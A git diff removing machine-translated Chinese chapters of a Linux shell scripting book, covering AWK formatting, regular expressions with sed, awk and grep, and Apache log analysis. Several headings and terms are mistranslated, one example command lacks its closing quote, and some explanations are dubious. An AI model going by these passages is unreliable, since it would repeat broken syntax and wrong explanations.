-![](img/a3f8945c-372b-47c5-9299-864315bba4a2.png) - -我们获得了相同的结果,但这次使用了`for`循环。 - -# 格式化输出 - -到目前为止,我们仍然忠实于`print`命令,因为我们对输出的要求是有限的。 如果我们想打印出用户名、UID 和默认 shell,我们需要开始对输出进行一些格式化。 在本例中,我们可以将输出组织在形状良好的列中。 如果没有格式化,我们使用的命令将类似于下面的例子,我们使用逗号分隔我们想要打印的字段: - -```sh -$ awk ' BEGIN { FS=":" } { print $1,$3,$7 } ' /etc/passwd -``` - -我们在这里使用`BEGIN`块,因为我们可以使用它来打印列标题。 - -为了更好地理解这个问题,看看下面的截图,它演示了不均匀的列宽: - -![](img/4bf6ec22-7ba9-47e6-a607-20d508c24e25.png) - -我们在输出中遇到的问题是列没有对齐,因为用户名长度不一致。 为了改进这一点,我们可以使用`printf`函数来指定列的宽度。 `awk`语句的语法类似于下面的例子: - -```sh -$ awk ' BEGIN { FS=":" } -> { printf "%10s %4d %17s\n",$1,$3,$7 } ' /etc/passwd -``` - -`printf`格式包含在双引号中。 我们还需要包含带有`\n`的换行符。 `printf`函数不会自动添加换行符,而`print`函数会自动添加。 我们打印三个字段; 第一个接受字符串值,并设置为`10`字符宽。 中间字段最多接受 4 个数字,我们以默认 shell 字段结束,其中最多允许`17`字符串字符。 - -下面的截图显示了如何改进输出: - -![](img/97206a9b-bc3b-48e5-8680-e5ab77c9d1dc.png) - -我们可以通过添加标题信息进一步增强这一点。 虽然在这一阶段代码看起来很凌乱,但我们稍后将看到如何使用 AWK 控制文件解决这个问题。 下面的示例显示了添加到`Begin`块的头信息。 分号用于分隔`BEGIN`块中的两个语句: - -```sh -$ awk 'BEGIN {FS=":" ;printf "%10s %4s %17s\n","Name","UID","Shell" } -> { printf "%10s %4d %17s\n",$1,$3,$7 } ' /etc/passwd -``` - -在下面的截图中,我们可以看到这是如何进一步改善输出的: - -![](img/2b0843bd-5e5c-4978-86d2-cd2dfb8dbf4c.png) - -在前一章中,我们看到了如何在 shell 中使用颜色来增加输出。 我们也可以通过添加我们自己的函数来使用 AWK 内部的颜色。 在下一个代码示例中,您将看到 AWK 允许我们定义自己的函数,以促进更复杂的操作并隔离代码。 现在我们将修改前面的代码,在头文件中包含绿色输出: - -```sh -$ awk 'function green(s) { -> printf "\033[1;32m" s "\033[0m\n" -> } -> BEGIN {FS=":"; -green(" Name: UID: Shell:") } -> { printf "%10s %4d %17s\n",$1,$3,$7 } ' /etc/passwd -``` - -在`awk`中创建函数允许在我们需要的地方添加颜色,在本例中是绿色文本。 创建定义其他颜色的函数很容易。 代码和输出包含在下面的截图中: - -![](img/bbbf8c9f-4f3b-4285-8792-ce9d95340d39.png) - -# 通过 UID 进一步过滤显示用户 - -我们已经能够通过 AWK 一点一点地构建我们的技能,我们所学到的都是有用的。 我们可以采取这些微小的步骤,添加它们,开始创建一些更有用的东西。 也许我们只想打印标准用户; 这些用户通常高于 500 或 1000,这取决于您的特定发行版。 - -在我为本书使用的 Linux Mint 发行版上,标准用户以 UID`1000`开始。 UID 是第三个字段。 这实际上很简单,只需使用第三个字段的值作为范围操作符。 我们可以在下面的例子中看到: - -```sh -$ awk -F":" '$3 > 999 ' /etc/passwd -``` - -我们可以使用以下命令显示 UID 为`101`或更低的用户: - -```sh -$ awk -F":" '$3 < 101 ' /etc/passwd -``` - -这些只是让你对 AWK 的一些可能性有所了解。 实际上,我们可以整天玩算术比较操作符。 - -我们还看到,在其中一些例子中,`awk`语句变得有点长。 这就是我们可以实现`awk`控制文件的地方。 在我们陷入语法的泥沼之前,让我们直接看看这些。 - -# AWK 控制文件 - -就像使用`sed`一样,我们可以通过创建和包含控制文件来简化命令行。 这也使得以后更容易编辑命令。 控制文件包含我们希望`awk`执行的所有语句。 对于`sed`、`awk`和 shell 脚本,我们必须考虑的主要问题是模块化; 创建可重用元素,可用于隔离和重用代码。 这节省了我们的时间和工作,我们有更多的时间来做我们喜欢的事情。 - -要查看`awk`控制文件的示例,我们应该重新查看`passwd`文件的格式。 创建以下文件将封装`awk`语句: - -```sh -function green(s) { - printf "\033[1;32m" s "\033[0m\n" -} -BEGIN { - FS=":" - green(" Name: UID: Shell:") -} -{ - printf "%10s %4d %17s\n",$1,$3,$7 -} -``` - -我们可以将该文件保存为`passwd.awk`。 - -能够在一个文件中包含所有的`awk`语句是非常方便的,并且执行变得干净整洁: - -```sh -$ awk -f passwd.awk /etc/passwd -``` - -这当然鼓励使用更复杂的`awk`语句,并允许您在代码中扩展更多的功能。 - -# 内置函数 - -在前面的示例中,我们定义了一个名为`green`的函数。 这就引出了一些与`awk`一同提供的内置函数。 - -AWK 自带许多内置函数,如数学函数: - -* `sin(x)` -* `cos(x)` -* `sqrt(x)` -* `exp(x)` -* `log(x)` -* `rand()` - -你可以这样使用它们: - -```sh -$ awk 'BEGIN{x=sqrt(5); print x}' -``` - -此外,还有一些内置函数可以用于字符串操作: - -```sh -$ awk 'BEGIN{x = "welcome"; print toupper(x)}' -``` - -# 总结 - -我希望您对 AWK 工具的用途有一个更好、更清晰的理解。 这是一个数据处理工具,它逐行运行文本文件,并处理您添加的代码。主块运行符合行标准的每一行,而`BEGIN`和`END`块代码只执行一次。 - -您已经学习了如何使用 AWK 内置变量以及如何定义和使用自己的变量。 - -此外,您还学习了如何使用`if`、`while`和`for`循环遍历数据字段。 - -在下一章中,我们将讨论正则表达式以及如何在`sed`和 AWK 中使用它们来获得更多的功能。 - -# 问题 - -1. 下面命令的输出是什么? - -```sh -$ awk ' -BEGIN{ -var="I love AWK tool" -print $var -}' -``` - -2. 假设你有以下文件: - -```sh -13 -15 -22 -18 -35 -27 -``` - -然后对该文件运行以下命令: - -```sh -$ awk '{if ($1 > 30) print $2}' myfile -``` - -将打印多少数字? - -3. 假设你有以下文件: - -```sh -135 325 142 -215 325 152 -147 254 327 -``` - -然后运行以下命令: - -```sh -$ awk '{ -total = 0 -i = 1 -while (i < 3) -{ -total += $i -i++ -} -mean = total / 3 -print "Mean value:",mean -}' myfile -``` - -前面的代码有什么问题? - -4. 下面的命令将打印多少行? - -```sh -$ awk -F":" '$3 < 1 ' /etc/passwd -``` - -# 进一步的阅读 - -请参阅以下有关本章的资料: - -* [https://likegeeks.com/awk-command/](https://likegeeks.com/awk-command/) -* [https://www.gnu.org/software/gawk/manual/gawk.html](https://www.gnu.org/software/gawk/manual/gawk.html) \ No newline at end of file diff --git a/docs/master-linux-shell-script/11.md b/docs/master-linux-shell-script/11.md deleted file mode 100644 index d47d0158..00000000 --- a/docs/master-linux-shell-script/11.md +++ /dev/null @@ -1,572 +0,0 @@ -# 十一、正则表达式 - -在本章中,我们将讨论使用**流编辑器**(**sed**)和 AWK 最神秘的部分。 它们是正则表达式,简称 regex。 在前面的章节中,我们害羞地讨论了一些正则表达式,这是因为我们不需要深入了解它们。 - -如果您了解如何编写正则表达式,您将节省大量的时间和精力。 使用正则表达式,您将释放 sed 和 AWK 背后的真正力量,并将专业地使用它们。 - -本章将涵盖以下几个方面: - -* 正则表达式引擎 -* 定义 BRE 模式 -* 定义在模式 -* 使用`grep` - -# 技术要求 - -本章的源代码可在此下载: - -[https://github.com/PacktPublishing/Mastering-Linux-Shell-Scripting-Second-Edition/tree/master/Chapter11](https://github.com/PacktPublishing/Mastering-Linux-Shell-Scripting-Second-Edition/tree/master/Chapter11) - -# 正则表达式引擎 - -首先,什么是正则表达式? - -正则表达式是正则表达式引擎解释为匹配特定文本的字符串。 这就像是一种高级的搜索方式。 - -假设您想搜索文件中以任何小写字母开头的行,或者您想搜索包含数字的行,或者搜索以特定文本开头的行。 普通的搜索不能是泛型的:唯一的方法就是使用正则表达式。 - -什么是正则表达式引擎? - -regex 引擎是一种软件,它能够理解这些字符串并翻译它们以找到匹配的文本。 - -有很多正则表达式引擎; 例如,Java、Perl 和 Python 等编程语言附带的引擎。 另外,Linux 工具使用的引擎是 sed 和 AWK,现在对我们来说重要的事情是学习 Linux 中 regex 引擎的类型。 - -在 Linux 中有两种 regex 引擎: - -* **基本正则表达式**(**BRE**)引擎 -* 扩展正则表达式(**ERE**)引擎 - -大多数 Linux 二进制程序都理解这两种引擎,比如 sed 和 AWK。 - -`grep`也可以理解 ERE,但必须使用`-E`选项,相当于使用`egrep`。 - -我们将看到如何为 sed 和 AWK 定义正则表达式模式。 我们先来定义 BRE 模式,让我们开始吧。 - -# 定义 BRE 模式 - -要定义一个正则表达式模式,你可以输入以下内容: - -```sh -$ echo "Welcome to shell scripting" | sed -n '/shell/p' -$ echo "Welcome to shell scripting" | awk '/shell/{print $0}' -``` - -![](img/0b72a10f-089f-49d4-abd9-31b3e728cf5b.png) - -关于正则表达式模式,你需要知道的一件非常重要的事情是,它们通常是大小写敏感的: - -```sh -$ echo "Welcome to shell scripting" | awk '/shell/{print $0}' -$ echo "Welcome to SHELL scripting" | awk '/shell/{print $0}' -``` - -![](img/3672126e-36f9-4e1c-8260-a225ade9dd96.png) - -假设你想匹配以下任何一个字符: - -`.*[]^${}\+?|()` - -必须用反斜杠对它们进行转义,因为这些字符是正则表达式引擎的特殊字符。 - -现在您知道如何定义 BRE 模式了。 让我们使用普通的 BRE 字符。 - -# 锚的角色 - -锚字符用于匹配行首或行尾。 有两个锚点字符:插入符号(`^`)和美元符号(`$`)。 - -插入符号用于匹配一行的开头: - -```sh -$ echo "Welcome to shell scripting" | awk '/^Welcome/{print $0}' -$ echo "SHELL scripting" | awk '/^Welcome/{print $0}' -$ echo "Welcome to shell scripting" | sed -n '/^Welcome/p' -``` - -![](img/d8f1ea73-b463-4950-9c52-83b5072c813d.png) - -因此,插入符号用于检查指定的文本是否在行首。 - -如果你想搜索插入符号作为一个字符,如果你使用 AWK,你应该用反斜杠转义它。 - -然而,如果你使用`sed`,你不需要逃避它: - -```sh -$ echo "Welcome ^ is a test" | awk '/\^/{print $0}' -$ echo "Welcome ^ to shell scripting" | sed -n '/^/p' -``` - -![](img/3b7e3143-dce9-44fb-8c75-74d909d6c774.png) - -要匹配文本结尾,可以使用美元符号字符(`$`): - -```sh -$ echo "Welcome to shell scripting" | awk '/scripting$/{print $0}' -$ echo "Welcome to shell scripting" | sed -n '/scripting$/p' -``` - -![](img/33bcc23d-2001-4748-b36c-abe7823253c9.png) - -您可以在同一模式中同时使用字符(`^`)和字符(`$`)来指定文本。 - -你可以使用这些字符做一些有用的事情,比如搜索空行并修改它们: - -```sh -$ awk '!/^$/{print $0}' myfile -``` - -感叹号(`!`)被称为否定字符,它否定它后面的内容。 - -脱字符号的模式搜索`^$`(`^`)指一行的开头和美元符号(`$`)指的是一条线,这意味着寻找行之间没有开头和结尾这意味着空行。 然后我们用感叹号(`!`)来否定它,以得到其他不为空的行。 - -让我们将它应用到以下文件: - -```sh -Lorem Ipsum is simply dummy text . -Lorem Ipsum has been the industry's standard dummy. -It has survived not only five centuries -It is a long established fact that a reader will be distracted. -``` - -现在,让我们看看它的魔力: - -```sh -$ awk '!/^$/{print $0}' myfile -``` - -![](img/c5be77fb-44be-46be-a43a-315f2b15ae9b.png) - -打印的行中没有空行。 - -# 点的角色 - -点字符匹配除新行(`\n`)以外的任何字符。 让我们对下面的文件使用它: - -```sh -Welcome to shell scripting. -I love shell scripting. -shell scripting is awesome. -``` - -假设我们使用以下命令: - -```sh -$ awk '/.sh/{print $0}' myfile -$ sed -n '/.sh/p' myfile -``` - -该模式匹配任何包含`sh`的行及其之前的任何文本: - -![](img/c8a32a75-3f95-4a96-869f-2d85c23a0a56.png) - -如您所见,它只匹配前两行,因为第三行以`sh`开头,所以没有匹配第三行。 - -# 字符类 - -我们了解了如何使用点字符匹配任何字符。 如果只想匹配一组特定的字符,该怎么办? - -您可以在方括号`[]`之间传递您想要匹配的字符来匹配它们,这就是字符类。 - -让我们以以下文件为例: - -```sh -I love bash scripting. -I hope it works without a crash. -Or I'll smash it. -``` - -让我们看看角色职业是如何工作的: - -```sh -$ awk '/[mbr]ash/{print $0}' myfile -$ sed -n '/[mbr]ash/p' myfile -``` - -![](img/28fb6091-3614-4e70-91ef-7239f1fdf206.png) - -字符类`[mbr]`匹配任何后跟 ash 的包含字符,因此匹配这三行。 - -你可以在一些有用的地方使用它,比如匹配大写或小写字符: - -```sh -$ echo "Welcome to shell scripting" | awk '/^[Ww]elcome/{print $0}' -$ echo "welcome to shell scripting" | awk '/^[Ww]elcome/{print $0}' -``` - -字符类使用插入字符进行反置,如下所示: - -```sh -$ awk '/[^br]ash/{print $0}' myfile -``` - -![](img/34670994-fa8c-4609-9d6c-6e9cdf6c2eeb.png) - -在这里,我们匹配任何包含灰分且不以`b`或`r`开始的行。 - -记住,在方括号外使用插入符号(`^`)表示一行的开始。 - -使用字符类,你可以指定你的字符。 如果有很长的字符范围怎么办? - -# 字符的范围 - -您可以指定在方括号之间匹配的字符范围,如下所示: - -```sh -[a-d] -``` - -这意味着从`a`到`d`的字符范围,因此包括`a`、`b`、`c`和`d`。 - -让我们使用相同的示例文件: - -```sh -$ awk '/[a-m]ash/{print $0}' myfile -$ sed -n '/[a-m]ash/p' myfile -``` - -![](img/6f93ec93-4c27-433a-a297-5f0e63776824.png) - -选择字符范围`a`到`m`。 第三行包含 ash 之前的`r`,它不在我们的范围内,所以只有第二行不匹配。 - -你也可以使用数字范围: - -```sh -$ awk '/[0-9]/' -``` - -这个模式意味着从`0`到`9`是匹配的。 - -你可以在同一个括号中写入多个范围: - -```sh -$ awk '/[d-hm-z]ash/{print $0}' myfile $ sed -n '/[d-hm-z]ash/p' myfile -``` - -![](img/27ed86b0-52da-4632-b4ae-626b7b772dfd.png) - -在这个模式中,从`d`到`h`和从`m`到`z`被选择,因为第一行包含了 ash 之前的`b`,只有第一行不匹配。 - -您可以使用该范围选择所有的大小写字符,如下所示: - -```sh -$ awk '/[a-zA-Z]/' -``` - -# 特殊字符类 - -我们了解了如何使用字符类匹配一组字符,然后我们了解了如何使用字符范围匹配一组字符。 - -实际上,ERE 引擎提供了一些现成的类来匹配一些常见的字符集,如下所示: - -| `[[:alpha:]]` | 匹配任何字母字符 | -| `[[:upper:]]`          | 只匹配 A-Z 大写字母 | -| `[[:lower:]]` | 只匹配 a-z 小写字母 | -| `[[:alnum:]]`          | Matches 0–9, A–Z, or a–z | -| `[[:blank:]] ` | 只匹配空格或选项卡 | -| `[[:space:]]`          | 匹配任何空白字符:空格,Tab, CR | -| `[[:digit:]]` | `0`至`9`匹配 | -| `[[:print:]]`           | 匹配任何可打印字符 | -| `[[:punct:]]`          | 匹配任何标点字符 | - -因此,如果您想匹配大写字符,您可以使用`[[:upper:]]`,它将与字符范围[A-Z]完全一致。 - -让我们通过下面的示例文件来测试其中一个: - -```sh -checking special character classes. -This LINE contains upper case. -ALSO this one. -``` - -我们将匹配大写字符,看看它是如何工作的: - -```sh -$ awk '/[[:upper:]]/{print $0}' myfile $ sed -n '/[[:upper:]]/p' myfile -``` - -![](img/e84ecdd0-f595-4b80-b87a-ca8b9be0b072.png) - -大写特殊类使匹配任何包含大写字母的行变得容易。 - -# 星号 - -星号用于匹配字符或字符类是否存在 0 次或多次。 - -当搜索一个有多个变体的单词或拼写错误时,这可能是有用的: - -```sh -$ echo "Checking colors" | awk '/colou*rs/{print $0}' $ echo "Checking colours" | awk '/colou*rs/{print $0}' -``` - -![](img/eb7e9eba-4b9a-4a35-beac-2b997b5fe68f.png) - -如果字符`u`根本不存在或存在,它将匹配模式。 - -我们可以利用星号字符和点字符来匹配任意数量的字符。 - -让我们看看如何在下面的示例文件中使用它们: - -```sh -This is a sample line -And this is another one -This is one more -Finally, the last line is this -``` - -让我们编写一个匹配任何包含单词`this`及其后内容的行: - -```sh -$ awk '/this.*/{print $0}' myfile $ sed -n '/ this.*/p' myfile -``` - -![](img/4287e60f-8f82-4e9c-8833-85373ef9401f.png) - -第四行包含单词`this`,但是第一行和第三行包含大写的`T`,因此它不匹配。 - -第二行包含单词及其后的文本,而第四行包含单词及其后的任何内容,在这两种情况下,星号匹配 0 个或多个实例。 - -您可以将星号与字符类一起使用,以匹配字符类中存在的任何字符一次或根本不存在。 - -```sh -$ echo "toot" | awk '/t[aeor]*t/{print $0}' $ echo "tent" | awk '/t[aeor]*t/{print $0}' $ echo "tart" | awk '/t[aeor]*t/{print $0}' -``` - -![](img/077b53df-f18a-4cd9-9711-aa066c304951.png) - -第一行包含字符`o`两次,因此匹配。 - -第二行包含`n`字符,该字符在字符类中不存在,因此没有匹配。 - -第三行包含字符`a`和`r`,每个字符对应一次,它们存在于字符类中,因此该行也匹配模式。 - -# 定义在模式 - -我们看到了定义 BRE 模式是多么容易。 现在,我们将看到一些更强大的 ERE 模式。 - -除了 BRE 模式外,ERE 引擎还理解以下模式: - -* 问号 -* 加号 -* 花括号 -* 管字符 -* 表达式分组 - -默认情况下,AWK 支持 ERE 模式,sed 需要`-r`来理解这些模式。 - -# 问号 - -问号只匹配前一个字符或字符类 0 或一次: - -```sh -$ echo "tt" | awk '/to?t/{print $0}' $ echo "tot" | awk '/to?t/{print $0}' $ echo "toot" | awk '/to?t/{print $0}' $ echo "tt" | sed -r -n '/to?t/p' $ echo "tot" | sed -r -n '/to?t/p' $ echo "toot" | sed -r -n '/to?t/p' -``` - -![](img/7bcf636d-ba4a-4cb1-bbea-e8e2c994bb96.png) - -在前两个示例中,字符`o`存在 0 次和一次,而在第三个示例中,它存在两次,这与模式不匹配 - -同样,你可以在字符类中使用问号: - -```sh -$ echo "tt" | awk '/t[oa]?t/{print $0}' $ echo "tot" | awk '/t[oa]?t/{print $0}' $ echo "toot" | awk '/t[oa]?t/{print $0}' $ echo "tt" | sed -r -n '/t[oa]?t/p' $ echo "tot" | sed -r -n '/t[oa]?t/p' $ echo "toot" | sed -r -n '/t[oa]?t/p' -``` - -![](img/0e811e77-6ec6-43b0-afb4-e1208a15dcc5.png) - -第三个例子不匹配是因为它包含了`o`字符两次。 - -注意,当在字符类中使用问号时,它不需要在文本中包含所有字符类; 一个就足够通过模式了 - -# 的加号 - -加号与前面的字符或字符类匹配一次或多次,因此它必须至少存在一次: - -```sh -$ echo "tt" | awk '/to+t/{print $0}' $ echo "tot" | awk '/to+t/{print $0}' $ echo "toot" | awk '/to+t/{print $0}' $ echo "tt" | sed -r -n '/to+t/p' $ echo "tot" | sed -r -n '/to+t/p' $ echo "toot" | sed -r -n '/to+t/p' -``` - -![](img/5064634c-3d63-494c-bb9a-c73b222dcb2f.png) - -第一个示例没有`o`字符,这就是为什么它是唯一没有匹配的示例。 - -同样,我们可以在字符类中使用加号: - -```sh -$ echo "tt" | awk '/t[oa]+t/{print $0}' $ echo "tot" | awk '/t[oa]+t/{print $0}' $ echo "toot" | awk '/t[oa]+t/{print $0} $ echo "tt" | sed -r -n '/t[oa]+t/p' $ echo "tot" | sed -r -n '/t[oa]+t/p' $ echo "toot" | sed -r -n '/t[oa]+t/p' -``` - -![](img/1f9349ec-3cf3-4421-8205-0687c94763f9.png) - -第一个示例不匹配是因为它根本不包含`o`字符。 - -# 花括号 - -花括号定义前一个字符或字符类存在的个数: - -```sh -$ echo "tt" | awk '/to{1}t/{print $0}' $ echo "tot" | awk '/to{1}t/{print $0}' $ echo "toot" | awk '/to{1}t/{print $0}' $ echo "tt" | sed -r -n '/to{1}t/p' $ echo "tot" | sed -r -n '/to{1}t/p' $ echo "toot" | sed -r -n '/to{1}t/p' -``` - -![](img/26941951-26af-4be6-a3b5-a6590b37a572.png) - -第三个例子不包含任何匹配,因为`o`字符存在两次。 那么,如果你想指定一个更灵活的数字呢? - -你可以在花括号内指定一个范围: - -```sh -$ echo "toot" | awk '/to{1,2}t/{print $0}' $ echo "toot" | sed -r -n '/to{1,2}t/p' -``` - -![](img/4077696d-7328-4b22-9f81-a9181f03e081.png) - -这里,如果`o`字符存在一次或两次,我们将匹配它。 - -同样,你也可以在字符类中使用花括号: - -```sh -$ echo "tt" | awk '/t[oa]{1}t/{print $0}' $ echo "tot" | awk '/t[oa]{1}t/{print $0}' $ echo "toot" | awk '/t[oa]{1}t/{print $0}' $ echo "tt" | sed -r -n '/t[oa]{1}t/p' $ echo "tot" | sed -r -n '/t[oa]{1}t/p' $ echo "toot" | sed -r -n '/t[oa]{1}t/p' -``` - -![](img/8c3c15cb-3de6-4cf6-a140-3fac0523afdd.png) - -正如所料,如果任何字符`[oa]`存在一次,模式将匹配。 - -# 管道字符 - -管道字符(`|`)告诉 regex 引擎匹配任何传递的字符串。 所以,如果其中一个存在,这就足够让模式匹配。 它就像在传递的字符串之间的逻辑`OR`: - -```sh -$ echo "welcome to shell scripting" | awk '/Linux|bash|shell/{print $0}' $ echo "welcome to bash scripting" | awk '/Linux|bash|shell/{print $0}' $ echo "welcome to Linux scripting" | awk '/Linux|bash|shell/{print $0}' $ echo "welcome to shell scripting" | sed -r -n '/Linux|bash|shell/p' $ echo "welcome to bash scripting" | sed -r -n '/Linux|bash|shell/p' $ echo "welcome to Linux scripting" | sed -r -n '/Linux|bash|shell/p' -``` - -![](img/34c4b0fa-ea04-4185-a4ae-607b9b44fdc2.png) - -前面的所有示例都有一个匹配,因为这三个单词中的任何一个都存在于每个示例中。 - -在管道和单词之间没有空格。 - -# 表达式分组 - -您可以使用括号`()`将字符或单词分组,使它们在正则表达式引擎中成为一体: - -```sh -$ echo "welcome to shell scripting" | awk '/(shell scripting)/{print $0}' $ echo "welcome to bash scripting" | awk '/(shell scripting)/{print $0}' $ echo "welcome to shell scripting" | sed -r -n '/(shell scripting)/p' $ echo "welcome to bash scripting" | sed -r -n '/(shell scripting)/p' -``` - -![](img/65059931-7d4e-4bec-a292-51b6ec6273fe.png) - -由于`shell scripting`字符串与括号组合在一起,因此它将被视为一个单独的片段。 - -因此,如果整个句子不存在,模式将失败。 - -你可能已经意识到,你可以在没有括号的情况下实现这一点: - -```sh -$ echo "welcome to shell scripting" | sed -r -n '/shell scripting/p' -``` - -那么,使用括号或表达式分组的好处是什么呢? 检查下面的例子来了解它们的区别。 - -你可以使用任何带有分组括号的 ERE 字符: - -```sh -$ echo "welcome to shell scripting" | awk '/(bash scripting)?/{print $0}' $ echo "welcome to shell scripting" | awk '/(bash scripting)+/{print $0}' $ echo "welcome to shell scripting" | sed -r -n '/(bash scripting)?/p' $ echo "welcome to shell scripting" | sed -r -n '/(bash scripting)+/p' -``` - -![](img/d3416465-eb77-481c-8153-f1fc151c952c.png) - -在第一个例子中,我们使用问号对整个句子`bash scripting`进行零次或一次搜索,因为整个句子不存在,所以模式成功。 - -如果没有表达式分组,就不会得到相同的结果。 - -# 使用 grep - -如果我们想恰当地谈论`grep`,整本书是不够的。 `grep`支持 BRE 和 ERE 等多种发动机。 它支持诸如**perl 兼容的正则表达式**(**PCRE**)之类的引擎。 - -`grep`是一个非常强大的工具,大多数系统管理员每天都在使用。 我们只是想说明使用 BRE 和 ERE 模式的要点,就像使用 sed 和 AWK 一样。 - -`grep`工具默认理解 BRE 模式,如果你想使用 ERE 模式,你应该使用`-E`选项。 - -让我们使用以下示例文件并使用 BRE 模式: - -```sh -Welcome to shell scripting. -love shell scripting. -shell scripting is awesome. -``` - -让我们来测试一下 BRE 模式: - -```sh -$ grep '.sh' myfile -``` - -![](img/87d4985b-8e2b-40ad-bc18-c3d8db1d2c91.png) - -结果显示为红色。 - -让我们测试一个 ERE 模式: - -```sh -$ grep -E 'to+' myfile -``` - -![](img/a6b3f540-f2f8-47d9-ac20-e41e0ef8d74c.png) - -所有其他 ERE 字符都可以以同样的方式使用。 - -# 总结 - -在本章中,我们介绍了正则表达式和正则表达式引擎 BRE 和 ERE。 我们学习了如何为它们定义模式。 - -我们学习了如何为 sed、AWK 和`grep`编写这些模式。 - -此外,我们还了解了特殊字符类如何使匹配字符集变得很容易。 - -我们了解了如何使用强大的 ERE 模式以及如何对表达式进行分组。 - -最后,我们了解了如何使用`grep`工具以及如何定义 BRE 和 ERE 模式。 - -在接下来的两章中,我们将看到一些 AWK 的实际例子。 - -# 问题 - -1. 假设你有以下文件: - -```sh -Welcome to shell scripting. -I love shell scripting. -shell scripting is awesome. -``` - -假设您运行以下命令: - -```sh -$ awk '/awesome$/{print $0}' myfile -``` - -输出中将打印多少行? - -2. 如果对前一个文件使用下面的命令,将打印多少行? - -```sh -$ awk '/scripting\..*/{print $0}' myfile -``` - -3. 如果我们对前面的示例文件使用下面的命令,将打印多少行? - -```sh -$ awk '/^[Ww]?/{print $0}' myfile -``` - -4. 下面命令的输出是什么? - -```sh -$ echo "welcome to shell scripting" | sed -n '/Linux|bash|shell/p' -``` - -# 进一步的阅读 - -请参阅以下有关本章的进一步阅读资料: - -* [https://www.regular-expressions.info/engine.html](https://www.regular-expressions.info/engine.html) -* [http://tldp.org/LDP/Bash-Beginners-Guide/html/chap_04.html](http://tldp.org/LDP/Bash-Beginners-Guide/html/chap_04.html) \ No newline at end of file diff --git a/docs/master-linux-shell-script/12.md b/docs/master-linux-shell-script/12.md deleted file mode 100644 index e95f6369..00000000 --- a/docs/master-linux-shell-script/12.md +++ /dev/null @@ -1,313 +0,0 @@ -# 十二、使用 AWK 汇总日志 - -在前一章中,我们讨论了正则表达式,并了解了如何使用它们来增强`sed`和 AWK。 在本章中,我们将讨论一些使用 AWK 的实例。 - -AWK 真正擅长的任务之一是过滤日志文件中的数据。 这些日志文件可能有很多行,可能有 250,000 或更多行。 我处理过超过一百万行的数据。 AWK 可以快速有效地处理这些行。 作为一个例子,我们将使用一个 30,000 行的 web 服务器访问日志来展示 AWK 代码的有效性和良好编写。 在阅读本章的过程中,我们还将看到不同的日志文件,并回顾我们可以使用`awk`命令和 AWK 编程语言来帮助报告和管理我们的服务的一些技术。 在本章中,我们将涵盖以下主题: - -* HTTPD 日志文件格式 -* 显示来自 web 日志的数据 -* 显示排行最高的客户端 IP 地址 -* 显示浏览器数据 -* 使用电子邮件日志 - -# 技术要求 - -本章的源代码可以从这里下载: - -[https://github.com/PacktPublishing/Mastering-Linux-Shell-Scripting-Second-Edition/tree/master/Chapter12](https://github.com/PacktPublishing/Mastering-Linux-Shell-Scripting-Second-Edition/tree/master/Chapter12) - -# HTTPD 日志文件格式 - -在处理任何文件时,第一项任务是熟悉文件模式。 简单地说,我们需要知道每个字段表示什么,以及用什么来分隔字段。 我们将使用来自 Apache HTTPD web 服务器的访问日志文件。 可以通过`httpd.conf`文件控制日志文件的位置。 在基于 debian 的系统上,默认的日志文件位置是`/var/log/apache2/access.log`; 其他系统可能使用`httpd`目录来代替`apache2`。 - -`log`文件已经在代码包中,所以您可以下载并直接使用它。 - -使用`tail`命令,可以显示`log`文件的末尾。 尽管,公平地说,使用`cat`也可以处理这个文件,因为它只有几行: - -```sh -$ tail /var/log/apache2/access.log -``` - -命令的输出和文件的内容如下截图所示: - -![](img/9b3f97e4-b874-4381-89a5-3f60d78dd4e8.png) - -输出确实在新行中包装了一点,但是我们可以感受到日志的布局。 我们还可以看到,尽管我们感觉只访问了一个网页,但实际上我们访问了两个项目:`index.html`和`ubuntu-logo.png`。 我们也无法访问`favicon.ico`文件。 我们可以看到文件是用空格分隔的。 每个字段的含义如下表所示: - -| **田间** | 【实验目的】 | -| 1 | 客户端 IP 地址。 | -| 2 | 客户端标识由 RFC 1413 和`identd`客户端定义。 除非启用了`IdentityCheck`,否则不会读取此信息。 如果未被读取,该值将带有连字符。 | -| 3 | 启用用户认证时的用户 ID。 如果未启用身份验证,该值将是一个连字符。 | -| 4 | 请求的日期和时间,格式为`day/month/year:hour:minute:second offset`。 | -| 5 | 实际的要求和方法。 | -| 6 | 返回状态码,如`200`或`404`。 | -| 7 | 以字节为单位的文件大小。 | - -即使这些字段是 Apache 定义的,我们也必须小心。 时间、日期和时区是一个单独的字段,在方括号中定义; 但是,在该数据和时区之间的字段中有额外的空间。 为了确保在需要时打印完整的时间字段,我们需要同时打印`$4`和`$5`。 如下命令示例所示: - -```sh -$ awk ' { print $4,$5 } ' /var/log/apache2/access.log -``` - -我们可以在下面的截图中看到这个命令和它产生的输出: - -![](img/71c919e5-13bb-4764-9402-d54f64c1d840.png) - -# 显示来自 web 日志的数据 - -我们已经预览了如何使用 AWK 查看 Apache web 服务器上的日志文件; 然而,现在我们将转移到具有更大更多样内容的演示文件。 - -# 按日期选择条目 - -在了解了如何显示日期之后,我们也许应该看看如何从一天开始打印条目。 为此,我们可以使用`awk`中的匹配操作符。 如果你喜欢,可以用波浪线或弯弯曲曲的线表示。 因为我们只需要日期元素,所以不需要同时使用日期和时区字段。 下面的命令显示了如何打印 2014 年 9 月 10 日的条目: - -```sh -$ awk ' ( $4 ~ /10\/Sep\/2014/ ) ' access.log -``` - -为了完整起见,这个命令和部分输出如下截图所示: - -![](img/1cd97c0b-241d-484c-9072-4fb73de7885e.png) - -圆括号或圆括号包含我们要查找的行范围,并且我们省略了主块,这确保我们从该范围打印完整的匹配行。 没有什么可以阻止我们进一步过滤字段,以便从匹配的行中打印。 例如,如果我们只想打印出用于访问 web 服务器的客户端 IP 地址,我们可以打印字段`1`。 如下命令示例所示: - -```sh -$ awk ' ( $4 ~ /10\/Sep\/2014/ ) { print $1 } ' access.log -``` - -如果希望打印给定日期的总访问次数,可以将条目通过管道传递到`wc`命令。 如下所示: - -```sh -$ awk ' ( $4 ~ /10\/Sep\/2014/ ) { print $1 } ' access.log | wc -l -``` - -然而,如果我们想使用`awk`来完成此操作,这将比启动一个新进程更有效,并且我们可以计算条目。 如果使用内置变量`NR`,则可以打印文件中的整行,而不仅仅是该范围内的行。 最好是在主块中增加我们自己的变量,而不是匹配每一行的范围。 可以实现`END`块来打印我们使用的`count`变量。 以如下命令行为例: - -```sh -$ awk ' ( $4 ~ /10\/Sep\/2014/ ) { print $1; COUNT++ } END { print COUNT }' access.log -``` - -来自`wc`和内部计数器的计数输出将给出`16205`作为演示文件的结果。 